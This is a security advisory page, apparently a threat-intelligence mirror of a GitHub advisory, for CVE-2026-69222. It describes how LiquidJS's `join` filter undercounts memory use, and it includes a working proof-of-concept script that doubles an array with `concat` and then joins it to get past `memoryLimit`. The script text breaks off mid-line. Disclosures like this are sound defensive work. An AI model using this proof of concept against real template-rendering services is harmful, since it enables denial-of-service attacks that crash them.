highCVSS 7.5Vulnerability

CVE-2026-69222

### Summary The `join` filter (`src/filters/array.ts:8-13`) charges `memoryLimit` by array element **count**, not by the string length it produces, letting a template bypass a configured `memoryLimit` and allocate strings far past budget — bounded only by V8/process limits, not by `memoryLimit`. ### Details ```js // src/filters/array.ts:8-13 export const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) { const array = toArray(v) const sep = isNil(arg) ? ' ' : stringify(arg) const complexity = array.length * (1 + sep.length) // element COUNT, not element sizes this.context.memoryLimit.use(complexity) return array.join(sep) // allocates sum(element lengths) + separators }) ``` `concat` (`array.ts:72`) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. `join` is where the bug lives — it's the call that actually materializes all referenced content into one string, and its own charge (`array.length`) doesn't reflect that. Same undercounting class as already-fixed `replace` (GHSA-mmg9-6m6j-jqqx), `replace_first` (GHSA-6q5m-63h6-5x4v), `date`/strftime (GHSA-hh27-hf48-9f5q) — `join` wasn't covered. Sibling `array_to_sentence_string` (`src/filters/string.ts:210`) has the identical defect. ### PoC Live-reproduced against `[email protected]`, Node v24.3.0. ```javascript const { Liquid } = require('liquidjs'); const engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense const E = 5000, DOUBLINGS = 13; const chunk = 'a'.repeat(E); let tpl = `{%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}`; for (let i = 0; i < DOUBLINGS; i++) tpl += `{%- assign a = a | concat: a -%}`; // 1 -> 8192 elements tpl += `{%- assign out = a | join: "" -%}{{ out | size }}`; const len = Number(engine.renderSync(engine.parse(tpl))); // succeeds — should be blo

Properties

severity
high
summary
LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process
epss_score
0.00366
cvss_score
7.5
ghsa_published
2026-09-08T18:10:35Z
source_url
https://github.com/advisories/GHSA-4r6h-5v86-94p3
ghsa_updated
2026-09-08T18:10:36Z
ghsa_id
GHSA-4r6h-5v86-94p3
cve_id
CVE-2026-69222
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
is_ghsa_only
false
epss_percentile
0.29721

Related Entities (5)

ENRICHED_BY (1)

[Source]FIRST EPSS

VULNERABLE_TO (1)

[Software]npm/liquidjs

AFFECTS (1)

[Software]npm/liquidjs

HAS_WEAKNESS (1)

[Weakness]Uncontrolled Resource Consumption

REPORTED_BY (1)

[Source]GitHub Advisory Database

Explore deeper with Ninja Signal's threat intelligence graph

CVE-2026-69222 (CVSS 7.5) — Ninja Signal Threat Intelligence | Ninja Signal